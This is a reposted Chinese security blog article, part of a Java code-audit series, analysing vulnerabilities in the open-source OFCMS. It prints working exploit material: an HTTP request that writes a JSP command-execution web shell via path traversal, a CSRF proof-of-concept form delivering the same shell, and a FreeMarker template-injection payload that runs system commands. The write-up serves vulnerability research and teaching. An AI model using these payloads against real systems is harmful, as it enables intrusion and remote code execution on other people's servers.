转载

从零开始java代码审计系列(四)

从零开始java代码审计系列(四)

此文为原创文章

作者:p0desta@先知社区

恭喜作者获得

价值100元的天猫超市享淘卡一张

欢迎更多优质原创、翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

最近打算审一审web项目,毕竟复现一些java的经典漏洞和审计java web还是有些区别的,这次审计的项目地址: https://gitee.com/oufu/ofcms

审计时可以IDEA可以装上 FindBugs

从零开始java代码审计系列(四)

还是有一些帮助的。

后台任意文件上传

漏洞路径 /ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

public void save() {
        String resPath = getPara("res_path");
        File pathFile = null;
        if("res".equals(resPath)){
            pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
        }else {
            pathFile = new File(SystemUtile.getSiteTemplatePath());
        }
        String dirName = getPara("dirs");
        if (dirName != null) {
            pathFile = new File(pathFile, dirName);
        }
        String fileName = getPara("file_name");

        String fileContent = getRequest().getParameter("file_content");
        fileContent = fileContent.replace("<", "<").replace(">", ">");
        File file = new File(pathFile, fileName);
        FileUtils.writeString(file, fileContent);
        rendSuccessJson();
    }

这里可以看到没有任何限制,直接写入jsp代码。

POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 548
Connection: close
Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res
Cookie: JSESSIONID=D995760A2B3C721A91018D1729162B00

file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

为什么要写到static目录下呢,看这里

/**
 * 请求后缀名处理
 *
 * @author OF
 * @date 2017年11月24日
 */
public class ActionHandler extends Handler {
    private String[] suffix = { ".html", ".jsp", ".json" };
    public static final String exclusions = "static/";
    // private String baseApi = "api";

    public ActionHandler(String[] suffix) {
        super();
        this.suffix = suffix;
    }

    public ActionHandler() {
        super();
    }

    @Override
    public void handle(String target, HttpServletRequest request,
            HttpServletResponse response, boolean[] isHandled) {
        /**
         * 不包括 suffix 、以及api 地址的直接返回
         */
        /*
         * if (!isSuffix(target) && !"/".equals(target) &&
         * !target.contains(baseApi)) { return; }
         */
        //过虑静态文件
        if(target.contains(exclusions)){
            return;
        }
        target = isDisableAccess(target);
        BaseController.setRequestParams();
//      RequestSupport.setLocalRequest(request);
//      RequestSupport.setRequestParams();
        //JFinal.me().getAction(target,null);
        next.handle(target, request, response, isHandled);
    }

    private String isDisableAccess(String target) {
        for (int i = 0; i < suffix.length; i++) {
            String suffi =  getSuffix(target);
            if (suffi.contains(suffix[i])) {
                return target.replace(suffi, "");
            }
        }
        return target;
    }

    /*
     * private boolean isSuffix(String target) { for (int i = 0; i <
     * suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))
     * { return true; } } return false; }
     */

    public static String getSuffix(String fileName) {
        if (fileName != null && fileName.contains(".")) {
            return fileName.substring(fileName.lastIndexOf("."));
        }
        return "";
    }
}

可以看到这里将 jsp、html、json 的后缀都为空了,但是如果是 /static 目录就直接 return 了,那么把shell写到这个目录下即可。

CSRF打助攻

显然没有token做限制,当然也没有其他限制csrf咯

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST">
      <input type="hidden" name="file path" value="" />
      <input type="hidden" name="dirs" value=" " />
      <input type="hidden" name="res path" value="res" />
      <input type="hidden" name="file name" value="      upload shell2 jsp" />
      <input type="hidden" name="file content" value="<      if "p0desta" equals request getParameter "pwd"             java io InputStream in   Runtime getRuntime   exec request getParameter "i"   getInputStream            int a    1          byte   b   new byte 2048           out print "<pre>"           while  a in read b     1               out println new String b                      out print "< pre>"          >" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

从零开始java代码审计系列(四)

后台任意文件上传漏洞(鸡肋)

@Clear
    public void upload() {
        try {
            UploadFile file = this.getFile("file", "image");
            file.getFile().createNewFile();
            Map<String, Object> data = new HashMap<String, Object>();
            data.put("filePath", "/upload/image/" + file.getFileName());
            data.put("fileName", file.getFileName());
            rendSuccessJson(data);
        } catch (Exception e) {
            rendFailedJson(ErrorCode.get("9999"));
        }
    }

file.getFile().createNewFile(); ,可以跟到

private boolean isSafeFile(UploadFile uploadFile) {
        String fileName = uploadFile.getFileName().trim().toLowerCase();
        if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {
            return true;
        } else {
            uploadFile.getFile().delete();
            return false;
        }
    }

限制了是否以指定后缀结束,但是这里可以利用windows的特性来绕过

从零开始java代码审计系列(四)

但是我说这个洞为什么鸡肋呢,因为没办法跨目录上传,上传到image目录下是利用不了的,原因我上面说了,所以说它鸡肋。

服务端模板注入

通过看配置文件我们可以知道是使用了模板引擎 FreeMarker ,这个应该是java中比较经典的模板注入了,来看文章 http://drops.xmd5.com/static/drops/tips-8292.html

使用payload

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

从零开始java代码审计系列(四)

从零开始java代码审计系列(四)

从零开始java代码审计系列(四)

从零开始java代码审计系列(四)

从零开始java代码审计系列(四)

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

从零开始java代码审计系列(四)

原文  http://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652989940&idx=1&sn=dc251a77c39e4d05e7ca78168a3a3e04
正文到此结束
Loading...